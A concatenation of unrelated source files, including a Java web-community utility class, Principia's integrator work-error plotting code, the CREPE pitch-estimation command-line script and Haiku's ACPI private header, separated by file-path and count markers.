tm_t* localtime_r(const time_t* timep, tm_t* result);
char* ctime( const time_t* timep );
char* ctime_r( const time_t* timep, char* buf );
int nanosleep( const struct timespec* req, struct timespec* rem );
#endif // _TIME_H_
| 726 |
334 | <filename>src/main/java/com/greate/community/util/CommunityUtil.java
package com.greate.community.util;
import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.RandomUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Validate;
import org.springframework.util.DigestUtils;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
public class CommunityUtil {
/**
* 生成随机字符串
* @return
*/
public static String generateUUID() {
// 去除生成的随机字符串中的 ”-“
return UUID.randomUUID().toString().replaceAll("-", "");
}
/**
* md5 加密
* @param key 要加密的字符串
* @return
*/
public static String md5(String key) {
if (StringUtils.isBlank(key)) {
return null;
}
return DigestUtils.md5DigestAsHex(key.getBytes());
}
/**
* 将服务端返回的消息封装成 JSON 格式的字符串
* @param code 状态码
* @param msg 提示消息
* @param map 业务数据
* @return 返回 JSON 格式字符串
*/
public static String getJSONString(int code, String msg, Map<String, Object> map) {
JSONObject json = new JSONObject();
json.put("code", code);
json.put("msg", msg);
if (map != null) {
for (String key : map.keySet()) {
json.put(key, map.get(key));
}
}
return json.toJSONString();
}
// 重载 getJSONString 方法,服务端方法可能不返回业务数据
public static String getJSONString(int code, String msg) {
return getJSONString(code, msg, null);
}
// 重载 getJSONString 方法,服务端方法可能不返回业务数据和提示消息
public static String getJSONString(int code) {
return getJSONString(code, null, null);
}
// editor.md 要求返回的 JSON 字符串格式
public static String getEditorMdJSONString(int success, String message, String url) {
JSONObject json = new JSONObject();
json.put("success", success);
json.put("message", message);
json.put("url", url);
return json.toJSONString();
}
/**
* 生成指定位数的数字随机数, 最高不超过 9 位
*
* @param length
* @return
*/
public static String getRandomCode(int length) {
Validate.isTrue(length <= 9 && length > 0, "生成数字随机数长度范围应该在 1~9 内, 参数 length : %s", length);
int floor = (int) Math.pow(10, length - 1);
int codeNum = RandomUtils.nextInt(floor, floor * 10);
return Integer.toString(codeNum);
}
/**
* 测试
* @param args
*/
public static void main(String[] args) {
Map<String, Object> map = new HashMap<>();
map.put("name", "Jack");
map.put("age", 18);
// {"msg":"ok","code":0,"name":"Jack","age":18}
System.out.println(getJSONString(0, "ok", map));
}
}
| 1,463 |
2,151 | <filename>chrome/browser/printing/print_test_utils.h
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_PRINTING_PRINT_TEST_UTILS_H_
#define CHROME_BROWSER_PRINTING_PRINT_TEST_UTILS_H_
#include "chrome/browser/ui/webui/print_preview/print_preview_handler.h"
namespace base {
class Value;
}
namespace printing {
extern const char kDummyPrinterName[];
const int kTestPrinterDpi = 600;
// Creates a print ticket with some default values. Based on ticket creation in
// chrome/browser/resources/print_preview/native_layer.js.
base::Value GetPrintTicket(PrinterType type, bool cloud);
} // namespace printing
#endif // CHROME_BROWSER_PRINTING_PRINT_TEST_UTILS_H_
| 273 |
565 |
#include "mathematica/integrator_plots.hpp"
#include <algorithm>
#include <fstream> // NOLINT(readability/streams)
#include <iostream> // NOLINT(readability/streams)
#include <string>
#include <utility>
#include <vector>
#include "absl/status/status.h"
#include "base/bundle.hpp"
#include "base/file.hpp"
#include "glog/logging.h"
#include "integrators/methods.hpp"
#include "integrators/symmetric_linear_multistep_integrator.hpp"
#include "integrators/symplectic_runge_kutta_nyström_integrator.hpp"
#include "integrators/symplectic_partitioned_runge_kutta_integrator.hpp"
#include "physics/kepler_orbit.hpp"
#include "physics/massive_body.hpp"
#include "quantities/quantities.hpp"
#include "quantities/named_quantities.hpp"
#include "quantities/si.hpp"
#include "mathematica/mathematica.hpp"
#include "serialization/integrators.pb.h"
#include "testing_utilities/integration.hpp"
#include "testing_utilities/numerics.hpp"
#define SLMS_INTEGRATOR(name) \
{ \
(integrators::SymmetricLinearMultistepIntegrator< \
integrators::methods::name, \
Length>()), \
u8###name, 1 \
}
#define SRKN_INTEGRATOR(name) \
{ \
(integrators::SymplecticRungeKuttaNyströmIntegrator< \
integrators::methods::name, \
Length>()), \
u8###name, (integrators::methods::name::evaluations) \
}
#define SPRK_INTEGRATOR(name, composition) \
{ \
(integrators::SymplecticRungeKuttaNyströmIntegrator< \
integrators::methods::name, \
serialization::FixedStepSizeIntegrator::composition, \
Length>()), \
u8###name " " u8###composition, \
(integrators::methods::name::evaluations) \
}
namespace principia {
using base::Bundle;
using base::not_null;
using base::OFStream;
using geometry::BarycentreCalculator;
using geometry::Displacement;
using geometry::Inertial;
using geometry::InnerProduct;
using geometry::Instant;
using geometry::Velocity;
using integrators::FixedStepSizeIntegrator;
using integrators::IntegrationProblem;
using integrators::SpecialSecondOrderDifferentialEquation;
using numerics::DoublePrecision;
using quantities::Acceleration;
using quantities::AngularFrequency;
using quantities::Cos;
using quantities::Energy;
using quantities::GravitationalParameter;
using quantities::Length;
using quantities::Mass;
using quantities::Pow;
using quantities::Sin;
using quantities::Speed;
using quantities::SpecificEnergy;
using quantities::Stiffness;
using quantities::Time;
using quantities::si::Degree;
using quantities::si::Joule;
using quantities::si::Kilogram;
using quantities::si::Metre;
using quantities::si::Minute;
using quantities::si::Radian;
using quantities::si::Second;
using physics::KeplerianElements;
using physics::KeplerOrbit;
using physics::MassiveBody;
using physics::MasslessBody;
using testing_utilities::AbsoluteError;
using testing_utilities::ComputeHarmonicOscillatorAcceleration1D;
using testing_utilities::ComputeKeplerAcceleration;
using ::std::placeholders::_1;
using ::std::placeholders::_2;
using ::std::placeholders::_3;
namespace si = quantities::si;
namespace mathematica {
// TODO(egg): it would probably be saner to use Position<Whatever> and make the
// simple harmonic oscillator work in 3d.
using ODE = SpecialSecondOrderDifferentialEquation<Length>;
using Problem = IntegrationProblem<ODE>;
namespace {
struct SimpleHarmonicMotionPlottedIntegrator final {
FixedStepSizeIntegrator<ODE> const& integrator;
std::string name;
int evaluations;
};
// This list should be sorted by:
// 1. increasing order;
// 2. SPRKs before SRKNs before symmetric linear multistep integrators.
// 3. increasing number of evaluations;
// 4. date;
// 5. author names;
// 6. method name.
std::vector<SimpleHarmonicMotionPlottedIntegrator> Methods() {
return {// Order 2
SPRK_INTEGRATOR(NewtonDelambreStørmerVerletLeapfrog, BAB),
SPRK_INTEGRATOR(McLachlanAtela1992Order2Optimal, BA),
SPRK_INTEGRATOR(McLachlan1995S2, BAB),
// Order 3
SPRK_INTEGRATOR(Ruth1983, BA),
SPRK_INTEGRATOR(McLachlanAtela1992Order3Optimal, BA),
// Order 4
SPRK_INTEGRATOR(CandyRozmus1991ForestRuth1990, BAB),
SPRK_INTEGRATOR(鈴木1990, BAB),
SPRK_INTEGRATOR(McLachlan1995SS5, BAB),
SPRK_INTEGRATOR(McLachlan1995S4, BAB),
SPRK_INTEGRATOR(McLachlan1995S5, BAB),
SPRK_INTEGRATOR(BlanesMoan2002S6, BAB),
SRKN_INTEGRATOR(McLachlanAtela1992Order4Optimal),
SRKN_INTEGRATOR(McLachlan1995SB3A4),
SRKN_INTEGRATOR(McLachlan1995SB3A5),
SRKN_INTEGRATOR(BlanesMoan2002SRKN6B),
// Order 5
SRKN_INTEGRATOR(McLachlanAtela1992Order5Optimal),
// Order 6
SPRK_INTEGRATOR(吉田1990Order6A, BAB),
SPRK_INTEGRATOR(吉田1990Order6B, BAB),
SPRK_INTEGRATOR(吉田1990Order6C, BAB),
SPRK_INTEGRATOR(McLachlan1995SS9, BAB),
SPRK_INTEGRATOR(BlanesMoan2002S10, BAB),
SRKN_INTEGRATOR(OkunborSkeel1994Order6Method13),
SRKN_INTEGRATOR(BlanesMoan2002SRKN11B),
SRKN_INTEGRATOR(BlanesMoan2002SRKN14A),
// Order 8
SPRK_INTEGRATOR(吉田1990Order8A, BAB),
SPRK_INTEGRATOR(吉田1990Order8B, BAB),
SPRK_INTEGRATOR(吉田1990Order8C, BAB),
SPRK_INTEGRATOR(吉田1990Order8D, BAB),
SPRK_INTEGRATOR(吉田1990Order8E, BAB),
SPRK_INTEGRATOR(McLachlan1995SS15, BAB),
SPRK_INTEGRATOR(McLachlan1995SS17, BAB),
SLMS_INTEGRATOR(QuinlanTremaine1990Order8),
SLMS_INTEGRATOR(Quinlan1999Order8A),
SLMS_INTEGRATOR(Quinlan1999Order8B),
// Order 10
SLMS_INTEGRATOR(QuinlanTremaine1990Order10),
// Order 12
SLMS_INTEGRATOR(QuinlanTremaine1990Order12),
// Order 14
SLMS_INTEGRATOR(QuinlanTremaine1990Order14)};
}
// Those methods which have converged to the limits of double-precision floating
// point error on the circular Kepler problem tested by
// |GenerateKeplerProblemWorkErrorGraphs| with less than 8e4 evaluations.
std::vector<SimpleHarmonicMotionPlottedIntegrator> ReferenceMethods() {
return {// Order 5
SRKN_INTEGRATOR(McLachlanAtela1992Order5Optimal),
// Order 6
SPRK_INTEGRATOR(McLachlan1995SS9, BAB),
SPRK_INTEGRATOR(BlanesMoan2002S10, BAB),
SRKN_INTEGRATOR(OkunborSkeel1994Order6Method13),
SRKN_INTEGRATOR(BlanesMoan2002SRKN11B),
SRKN_INTEGRATOR(BlanesMoan2002SRKN14A),
// Order 8
SPRK_INTEGRATOR(McLachlan1995SS15, BAB),
SPRK_INTEGRATOR(McLachlan1995SS17, BAB)};
}
} // namespace
// Templatized to allow for problems where specific energy is more convenient
// than energy.
template<typename Energy>
class WorkErrorGraphGenerator {
public:
struct Errors {
Length q_error;
Speed v_error;
Energy e_error;
};
WorkErrorGraphGenerator(
std::function<absl::Status(Instant const& t,
std::vector<Length> const& q,
std::vector<Acceleration>& result,
int* evaluations)> compute_accelerations,
ODE::SystemState initial_state,
std::function<Errors(ODE::SystemState const&)> compute_errors,
Instant const& tmax,
std::string problem_name)
: methods_(Methods()),
compute_accelerations_(std::move(compute_accelerations)),
initial_state_(std::move(initial_state)),
compute_errors_(std::move(compute_errors)),
tmax_(tmax),
problem_name_(std::move(problem_name)) {
q_errors_.resize(methods_.size());
v_errors_.resize(methods_.size());
e_errors_.resize(methods_.size());
evaluations_.resize(methods_.size());
for (int i = 0; i < methods_.size(); ++i) {
q_errors_[i].resize(integrations_per_integrator_);
v_errors_[i].resize(integrations_per_integrator_);
e_errors_[i].resize(integrations_per_integrator_);
evaluations_[i].resize(integrations_per_integrator_);
}
}
std::string GetMathematicaData() {
LOG(INFO) << "Using " << std::thread::hardware_concurrency()
<< " worker threads";
Bundle bundle;
for (int method_index = 0; method_index < methods_.size(); ++method_index) {
for (int time_step_index = 0;
time_step_index < integrations_per_integrator_;
++time_step_index) {
bundle.Add(std::bind(&WorkErrorGraphGenerator::Integrate,
this,
method_index,
time_step_index));
}
}
bundle.Join();
std::vector<std::string> q_error_data;
std::vector<std::string> v_error_data;
std::vector<std::string> e_error_data;
std::vector<std::string> names;
for (int i = 0; i < methods_.size(); ++i) {
q_error_data.emplace_back(
PlottableDataset(evaluations_[i], q_errors_[i]));
v_error_data.emplace_back(
PlottableDataset(evaluations_[i], v_errors_[i]));
e_error_data.emplace_back(
PlottableDataset(evaluations_[i], e_errors_[i]));
names.emplace_back(ToMathematica(methods_[i].name));
}
std::string result;
result += Assign("qErrorData", q_error_data);
result += Assign("vErrorData", v_error_data);
result += Assign("eErrorData", e_error_data);
result += Assign("names", names);
return result;
}
private:
absl::Status Integrate(int const method_index, int const time_step_index) {
auto const& method = methods_[method_index];
Problem problem;
int number_of_evaluations = 0;
problem.equation.compute_acceleration = std::bind(
compute_accelerations_, _1, _2, _3, &number_of_evaluations);
problem.initial_state = initial_state_;
auto const t0 = problem.initial_state.time.value;
Length max_q_error;
Speed max_v_error;
Energy max_e_error;
auto append_state = [this, &max_q_error, &max_v_error, &max_e_error](
ODE::SystemState const& state) {
auto const errors = compute_errors_(state);
max_q_error = std::max(max_q_error, errors.q_error);
max_v_error = std::max(max_v_error, errors.v_error);
max_e_error = std::max(max_e_error, errors.e_error);
};
Time const Δt = method.evaluations * starting_step_size_per_evaluation_ /
std::pow(step_reduction_, time_step_index);
auto const instance =
method.integrator.NewInstance(problem, append_state, Δt);
instance->Solve(tmax_);
// Log both the actual number of evaluations and a theoretical number
// that ignores any startup costs; that theoretical number is the one
// used for plotting.
int const amortized_evaluations =
method.evaluations * static_cast<int>(std::floor((tmax_ - t0) / Δt));
LOG_EVERY_N(INFO, 50) << "[" << method_index << "," << time_step_index
<< "] " << problem_name_ << ": "
<< number_of_evaluations << " actual evaluations ("
<< amortized_evaluations << " amortized) with "
<< method.name;
// We plot the maximum error, i.e., the L∞ norm of the error.
// [BM02] or [BCR01a] tend to use the average error (the normalized L¹ norm)
// instead.
q_errors_[method_index][time_step_index] = max_q_error;
v_errors_[method_index][time_step_index] = max_v_error;
e_errors_[method_index][time_step_index] = max_e_error;
evaluations_[method_index][time_step_index] = amortized_evaluations;
return absl::OkStatus();
}
std::vector<SimpleHarmonicMotionPlottedIntegrator> const methods_;
std::function<absl::Status(Instant const& t,
std::vector<Length> const& q,
std::vector<Acceleration>& result,
int* evaluations)>
compute_accelerations_;
ODE::SystemState initial_state_;
std::function<Errors(ODE::SystemState const&)> compute_errors_;
std::vector<std::vector<Length>> q_errors_;
std::vector<std::vector<Speed>> v_errors_;
std::vector<std::vector<Energy>> e_errors_;
std::vector<std::vector<double>> evaluations_;
Instant const tmax_;
std::string const problem_name_;
double const step_reduction_ = 1.015;
Time const starting_step_size_per_evaluation_ = 1 * Second;
int const integrations_per_integrator_ = 500;
};
void GenerateSimpleHarmonicMotionWorkErrorGraphs() {
ODE::SystemState initial_state;
Instant const t0;
Length const q_amplitude = 1 * Metre;
Speed const v_amplitude = 1 * Metre / Second;
AngularFrequency const ω = 1 * Radian / Second;
Stiffness const k = si::Unit<Stiffness>;
Mass const m = 1 * Kilogram;
initial_state.positions.emplace_back(q_amplitude);
initial_state.velocities.emplace_back(0 * Metre / Second);
initial_state.time = DoublePrecision<Instant>(t0);
Instant const tmax = t0 + 50 * Second;
auto const compute_error = [q_amplitude, v_amplitude, ω, m, k, t0](
ODE::SystemState const& state) {
return WorkErrorGraphGenerator<Energy>::Errors{
AbsoluteError(q_amplitude * Cos(ω * (state.time.value - t0)),
state.positions[0].value),
AbsoluteError(-v_amplitude * Sin(ω * (state.time.value - t0)),
state.velocities[0].value),
AbsoluteError(0.5 * Joule,
(m * Pow<2>(state.velocities[0].value) +
k * Pow<2>(state.positions[0].value)) / 2)};
};
WorkErrorGraphGenerator<Energy> generator(
ComputeHarmonicOscillatorAcceleration1D,
initial_state,
compute_error,
tmax,
"Harmonic oscillator");
OFStream file(TEMP_DIR / "simple_harmonic_motion_graphs.generated.wl");
file << generator.GetMathematicaData();
}
void GenerateKeplerProblemWorkErrorGraphs(double const eccentricity) {
ODE::SystemState initial_state;
Instant const t0;
GravitationalParameter const μ = si::Unit<GravitationalParameter>;
MassiveBody b1(μ);
MasslessBody b2;
using World = geometry::Frame<enum class WorldTag, Inertial>;
KeplerianElements<World> elements;
elements.semimajor_axis = 1 * Metre;
elements.eccentricity = eccentricity;
elements.argument_of_periapsis = 0 * Degree;
elements.true_anomaly = 0 * Degree;
KeplerOrbit<World> const orbit(b1, b2, elements, t0);
auto const initial_dof = orbit.StateVectors(t0);
CHECK_EQ(initial_dof.displacement().coordinates().z, 0 * Metre);
CHECK_EQ(initial_dof.velocity().coordinates().z, 0 * Metre / Second);
initial_state.positions.emplace_back(
initial_dof.displacement().coordinates().x);
initial_state.positions.emplace_back(
initial_dof.displacement().coordinates().y);
initial_state.velocities.emplace_back(initial_dof.velocity().coordinates().x);
initial_state.velocities.emplace_back(initial_dof.velocity().coordinates().y);
initial_state.time = DoublePrecision<Instant>(t0);
// Integrate over 8 orbits.
Instant const tmax =
t0 + 8 * (2 * π * Radian) / *orbit.elements_at_epoch().mean_motion;
SpecificEnergy const initial_specific_energy =
initial_dof.velocity().Norm²() / 2 -
μ / initial_dof.displacement().Norm();
auto const compute_error = [&orbit, μ, initial_specific_energy](
ODE::SystemState const& state) {
Displacement<World> q(
{state.positions[0].value, state.positions[1].value, 0 * Metre});
Velocity<World> v({state.velocities[0].value,
state.velocities[1].value,
0 * Metre / Second});
auto const expected_dof = orbit.StateVectors(state.time.value);
return WorkErrorGraphGenerator<SpecificEnergy>::Errors{
AbsoluteError(expected_dof.displacement(), q),
AbsoluteError(expected_dof.velocity(), v),
AbsoluteError(initial_specific_energy, v.Norm²() / 2 - μ / q.Norm())};
};
WorkErrorGraphGenerator<SpecificEnergy> generator(
ComputeKeplerAcceleration,
initial_state,
compute_error,
tmax,
" Kepler problem with e = " + std::to_string(eccentricity));
OFStream file(TEMP_DIR / ("kepler_problem_graphs_" +
std::to_string(eccentricity) + ".generated.wl"));
file << generator.GetMathematicaData();
}
} // namespace mathematica
} // namespace principia
| 7,337 |
455 | #pragma once
#include "TimedAction.h"
namespace star
{
class TimedMoveAction : public TimedAction
{
public:
TimedMoveAction(
float32 seconds,
const vec2 & target,
const std::function<void()> & callback = nullptr
);
TimedMoveAction(
const tstring & name,
float32 seconds,
const vec2 & target,
const std::function<void()> & callback = nullptr
);
TimedMoveAction(
float32 seconds,
const vec2 & direction,
float32 speed,
const std::function<void()> & callback = nullptr
);
TimedMoveAction(
const tstring & name,
float32 seconds,
const vec2 & direction,
float32 speed,
const std::function<void()> & callback = nullptr
);
virtual ~TimedMoveAction();
void SetStartPosition(const vec2 & pos);
virtual void Restart();
protected:
virtual void Initialize();
virtual void Update(const Context & context);
vec2 m_Direction, m_Target, m_StartPosition;
float32 m_Speed, m_CurrentSeconds;
private:
bool m_StartPosSet;
TimedMoveAction & operator=(const TimedMoveAction&);
TimedMoveAction & operator=(TimedMoveAction&&);
TimedMoveAction(const TimedMoveAction&);
TimedMoveAction(TimedMoveAction&&);
};
}
| 511 |
666 | from __future__ import print_function
import os
import sys
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from argparse import ArgumentTypeError
from .core import process_file
def run(filename, output=None, model_capacity='full', viterbi=False,
save_activation=False, save_plot=False, plot_voicing=False,
no_centering=False, step_size=10, verbose=True):
"""
Collect the WAV files to process and run the model
Parameters
----------
filename : list
List containing paths to WAV files or folders containing WAV files to
be analyzed.
output : str or None
Path to directory for saving output files. If None, output files will
be saved to the directory containing the input file.
model_capacity : 'tiny', 'small', 'medium', 'large', or 'full'
String specifying the model capacity; see the docstring of
:func:`~crepe.core.build_and_load_model`
viterbi : bool
Apply viterbi smoothing to the estimated pitch curve. False by default.
save_activation : bool
Save the output activation matrix to an .npy file. False by default.
save_plot: bool
Save a plot of the output activation matrix to a .png file. False by
default.
plot_voicing : bool
Include a visual representation of the voicing activity detection in
the plot of the output activation matrix. False by default, only
relevant if save_plot is True.
no_centering : bool
Don't pad the signal, meaning frames will begin at their timestamp
instead of being centered around their timestamp (which is the
default). CAUTION: setting this option can result in CREPE's output
being misaligned with respect to the output of other audio processing
tools and is generally not recommended.
step_size : int
The step size in milliseconds for running pitch estimation.
verbose : bool
Print status messages and keras progress (default=True).
"""
files = []
for path in filename:
if os.path.isdir(path):
found = ([file for file in os.listdir(path) if
file.lower().endswith('.wav')])
if len(found) == 0:
print('CREPE: No WAV files found in directory {}'.format(path),
file=sys.stderr)
files += [os.path.join(path, file) for file in found]
elif os.path.isfile(path):
if not path.lower().endswith('.wav'):
print('CREPE: Expecting WAV file(s) but got {}'.format(path),
file=sys.stderr)
files.append(path)
else:
print('CREPE: File or directory not found: {}'.format(path),
file=sys.stderr)
if len(files) == 0:
print('CREPE: No WAV files found in {}, aborting.'.format(filename))
sys.exit(-1)
for i, file in enumerate(files):
if verbose:
print('CREPE: Processing {} ... ({}/{})'.format(
file, i+1, len(files)), file=sys.stderr)
process_file(file, output=output,
model_capacity=model_capacity,
viterbi=viterbi,
center=(not no_centering),
save_activation=save_activation,
save_plot=save_plot,
plot_voicing=plot_voicing,
step_size=step_size,
verbose=verbose)
def positive_int(value):
"""An argparse type method for accepting only positive integers"""
ivalue = int(value)
if ivalue <= 0:
raise ArgumentTypeError('expected a positive integer')
return ivalue
def main():
"""
This is a script for running the pre-trained pitch estimation model, CREPE,
by taking WAV files(s) as input. For each input WAV, a CSV file containing:
time, frequency, confidence
0.00, 424.24, 0.42
0.01, 422.42, 0.84
...
is created as the output, where the first column is a timestamp in seconds,
the second column is the estimated frequency in Hz, and the third column is
a value between 0 and 1 indicating the model's voicing confidence (i.e.
confidence in the presence of a pitch for every frame).
The script can also optionally save the output activation matrix of the
model to an npy file, where the matrix dimensions are (n_frames, 360) using
a hop size of 10 ms (there are 360 pitch bins covering 20 cents each).
The script can also output a plot of the activation matrix, including an
optional visual representation of the model's voicing detection.
"""
parser = ArgumentParser(sys.argv[0], description=main.__doc__,
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument('filename', nargs='+',
help='path to one ore more WAV file(s) to analyze OR '
'can be a directory')
parser.add_argument('--output', '-o', default=None,
help='directory to save the ouptut file(s), must '
'already exist; if not given, the output will be '
'saved to the same directory as the input WAV '
'file(s)')
parser.add_argument('--model-capacity', '-c', default='full',
choices=['tiny', 'small', 'medium', 'large', 'full'],
help='String specifying the model capacity; smaller '
'models are faster to compute, but may yield '
'less accurate pitch estimation')
parser.add_argument('--viterbi', '-V', action='store_true',
help='perform Viterbi decoding to smooth the pitch '
'curve')
parser.add_argument('--save-activation', '-a', action='store_true',
help='save the output activation matrix to a .npy '
'file')
parser.add_argument('--save-plot', '-p', action='store_true',
help='save a plot of the activation matrix to a .png '
'file')
parser.add_argument('--plot-voicing', '-v', action='store_true',
help='Plot the voicing prediction on top of the '
'output activation matrix plot')
parser.add_argument('--no-centering', '-n', action='store_true',
help="Don't pad the signal, meaning frames will begin "
"at their timestamp instead of being centered "
"around their timestamp (which is the default). "
"CAUTION: setting this option can result in "
"CREPE's output being misaligned with respect to "
"the output of other audio processing tools and "
"is generally not recommended.")
parser.add_argument('--step-size', '-s', default=10, type=positive_int,
help='The step size in milliseconds for running '
'pitch estimation. The default is 10 ms.')
parser.add_argument('--quiet', '-q', default=False,
action='store_true',
help='Suppress all non-error printouts (e.g. progress '
'bar).')
args = parser.parse_args()
run(args.filename,
output=args.output,
model_capacity=args.model_capacity,
viterbi=args.viterbi,
save_activation=args.save_activation,
save_plot=args.save_plot,
plot_voicing=args.plot_voicing,
no_centering=args.no_centering,
step_size=args.step_size,
verbose=not args.quiet)
| 3,411 |
753 | {
"$schema": "https://on.cypress.io/cypress.schema.json",
"baseUrl": "http://localhost:1234",
"projectId": "fwfrp4"
}
| 54 |
493 | <reponame>V-labs/CoreValue<gh_stars>100-1000
//
// CoreValueMac.h
// CoreValueMac
//
// Created by <NAME> on 05/07/15.
// Copyright © 2015 <NAME>. All rights reserved.
//
//! Project version number for CoreValueMac.
FOUNDATION_EXPORT double CoreValueMacVersionNumber;
//! Project version string for CoreValueMac.
FOUNDATION_EXPORT const unsigned char CoreValueMacVersionString[];
// In this header, you should import all the public headers of your framework using statements like #import <CoreValueMac/PublicHeader.h>
| 157 |
1,338 | /*
* Copyright 2009, <NAME>. All rights reserved.
* Copyright 2006, <NAME>. All rights reserved.
* Distributed under the terms of the MIT License.
*/
#ifndef _ACPI_PRIVATE_H
#define _ACPI_PRIVATE_H
#include <sys/cdefs.h>
#include <device_manager.h>
#include <KernelExport.h>
#include <ACPI.h>
#include <PCI.h>
// name of ACPI root module
#define ACPI_ROOT_MODULE_NAME "bus_managers/acpi/root/driver_v1"
// name of ACPI device modules
#define ACPI_DEVICE_MODULE_NAME "bus_managers/acpi/driver_v1"
// name of the ACPI namespace device
#define ACPI_NS_DUMP_DEVICE_MODULE_NAME "bus_managers/acpi/namespace/device_v1"
__BEGIN_DECLS
extern device_manager_info* gDeviceManager;
extern pci_module_info* gPCIManager;
// information about one ACPI device
typedef struct acpi_device_cookie {
char* path; // path
acpi_handle handle;
uint32 type; // type
device_node* node;
char name[32]; // name (for fast log)
} acpi_device_cookie;
typedef struct acpi_resource acpi_resource;
typedef acpi_status (*acpi_walk_resources_callback)(acpi_resource* resource,
void* context);
// ACPI root.
typedef struct acpi_root_info {
driver_module_info info;
status_t (*get_handle)(acpi_handle parent, const char *pathname,
acpi_handle *retHandle);
status_t (*get_name)(acpi_handle handle, uint32 nameType,
char* returnedName, size_t bufferLength);
/* Global Lock */
status_t (*acquire_global_lock)(uint16 timeout, uint32 *handle);
status_t (*release_global_lock)(uint32 handle);
/* Notify Handler */
status_t (*install_notify_handler)(acpi_handle device,
uint32 handlerType, acpi_notify_handler handler,
void *context);
status_t (*remove_notify_handler)(acpi_handle device,
uint32 handlerType, acpi_notify_handler handler);
/* GPE Handler */
status_t (*update_all_gpes)();
status_t (*enable_gpe)(acpi_handle handle, uint32 gpeNumber);
status_t (*disable_gpe)(acpi_handle handle, uint32 gpeNumber);
status_t (*clear_gpe)(acpi_handle handle, uint32 gpeNumber);
status_t (*set_gpe)(acpi_handle handle, uint32 gpeNumber,
uint8 action);
status_t (*finish_gpe)(acpi_handle handle, uint32 gpeNumber);
status_t (*install_gpe_handler)(acpi_handle handle, uint32 gpeNumber,
uint32 type, acpi_gpe_handler handler, void *data);
status_t (*remove_gpe_handler)(acpi_handle handle, uint32 gpeNumber,
acpi_gpe_handler address);
/* Address Space Handler */
status_t (*install_address_space_handler)(acpi_handle handle,
uint32 spaceId,
acpi_adr_space_handler handler,
acpi_adr_space_setup setup, void *data);
status_t (*remove_address_space_handler)(acpi_handle handle,
uint32 spaceId,
acpi_adr_space_handler handler);
/* Fixed Event Management */
void (*enable_fixed_event)(uint32 event);
void (*disable_fixed_event)(uint32 event);
uint32 (*fixed_event_status) (uint32 event);
/* Returns 1 if event set, 0 otherwise */
void (*reset_fixed_event) (uint32 event);
status_t (*install_fixed_event_handler)(uint32 event,
acpi_event_handler handler, void *data);
status_t (*remove_fixed_event_handler)(uint32 event,
acpi_event_handler handler);
/* Namespace Access */
status_t (*get_next_entry)(uint32 objectType, const char *base,
char *result, size_t length, void **_counter);
status_t (*get_next_object)(uint32 objectType, acpi_handle parent,
acpi_handle* currentChild);
status_t (*get_device)(const char *hid, uint32 index, char *result,
size_t resultLength);
status_t (*get_device_info)(const char *path, char **hid,
char** cidList, size_t cidListCount, char** uid);
uint32 (*get_object_type)(const char *path);
status_t (*get_object)(const char *path,
acpi_object_type **_returnValue);
status_t (*get_object_typed)(const char *path,
acpi_object_type **_returnValue, uint32 objectType);
status_t (*ns_handle_to_pathname)(acpi_handle targetHandle,
acpi_data *buffer);
/* Control method execution and data acquisition */
status_t (*evaluate_object)(acpi_handle handle, const char* object,
acpi_objects *args, acpi_object_type *returnValue,
size_t bufferLength);
status_t (*evaluate_method)(acpi_handle handle, const char *method,
acpi_objects *args, acpi_data *returnValue);
/* Resource info */
status_t (*get_irq_routing_table)(acpi_handle busDeviceHandle,
acpi_data *retBuffer);
status_t (*get_current_resources)(acpi_handle busDeviceHandle,
acpi_data *retBuffer);
status_t (*get_possible_resources)(acpi_handle busDeviceHandle,
acpi_data *retBuffer);
status_t (*set_current_resources)(acpi_handle busDeviceHandle,
acpi_data *buffer);
status_t (*walk_resources)(acpi_handle busDeviceHandle,
char *method, acpi_walk_resources_callback callback,
void* context);
/* Power state setting */
status_t (*prepare_sleep_state)(uint8 state, void (*wakeFunc)(void),
size_t size);
status_t (*enter_sleep_state)(uint8 state);
status_t (*reboot)(void);
/* Table Access */
status_t (*get_table)(const char *signature, uint32 instance,
void **tableHeader);
} acpi_root_info;
extern struct acpi_module_info gACPIModule;
extern struct device_module_info acpi_ns_dump_module;
extern struct driver_module_info embedded_controller_driver_module;
extern struct device_module_info embedded_controller_device_module;
extern acpi_device_module_info gACPIDeviceModule;
status_t get_handle(acpi_handle parent, const char* pathname,
acpi_handle* retHandle);
status_t get_name(acpi_handle handle, uint32 nameType,
char* returnedName, size_t bufferLength);
status_t acquire_global_lock(uint16 timeout, uint32* handle);
status_t release_global_lock(uint32 handle);
status_t install_notify_handler(acpi_handle device, uint32 handlerType,
acpi_notify_handler handler, void* context);
status_t remove_notify_handler(acpi_handle device, uint32 handlerType,
acpi_notify_handler handler);
status_t update_all_gpes();
status_t enable_gpe(acpi_handle handle, uint32 gpeNumber);
status_t disable_gpe(acpi_handle handle, uint32 gpeNumber);
status_t clear_gpe(acpi_handle handle, uint32 gpeNumber);
status_t set_gpe(acpi_handle handle, uint32 gpeNumber, uint8 action);
status_t finish_gpe(acpi_handle handle, uint32 gpeNumber);
status_t install_gpe_handler(acpi_handle handle, uint32 gpeNumber, uint32 type,
acpi_gpe_handler handler, void* data);
status_t remove_gpe_handler(acpi_handle handle, uint32 gpeNumber,
acpi_gpe_handler address);
status_t install_address_space_handler(acpi_handle handle, uint32 spaceID,
acpi_adr_space_handler handler, acpi_adr_space_setup setup, void* data);
status_t remove_address_space_handler(acpi_handle handle, uint32 spaceID,
acpi_adr_space_handler handler);
void enable_fixed_event(uint32 event);
void disable_fixed_event(uint32 event);
uint32 fixed_event_status(uint32 event);
void reset_fixed_event(uint32 event);
status_t install_fixed_event_handler(uint32 event, acpi_event_handler handler,
void* data);
status_t remove_fixed_event_handler(uint32 event, acpi_event_handler handler);
status_t get_next_entry(uint32 object_type, const char* base, char* result,
size_t length, void** _counter);
status_t get_next_object(uint32 object_type, acpi_handle parent,
acpi_handle* currentChild);
status_t get_device(const char* hid, uint32 index, char* result,
size_t resultLength);
status_t get_device_info(const char* path, char** hid, char** cidList,
size_t cidListCount, char** uniqueId);
status_t get_device_addr(const char* path, uint32* addr);
uint32 get_object_type(const char* path);
status_t get_object(const char* path, acpi_object_type** _returnValue);
status_t get_object_typed(const char* path, acpi_object_type** _returnValue,
uint32 object_type);
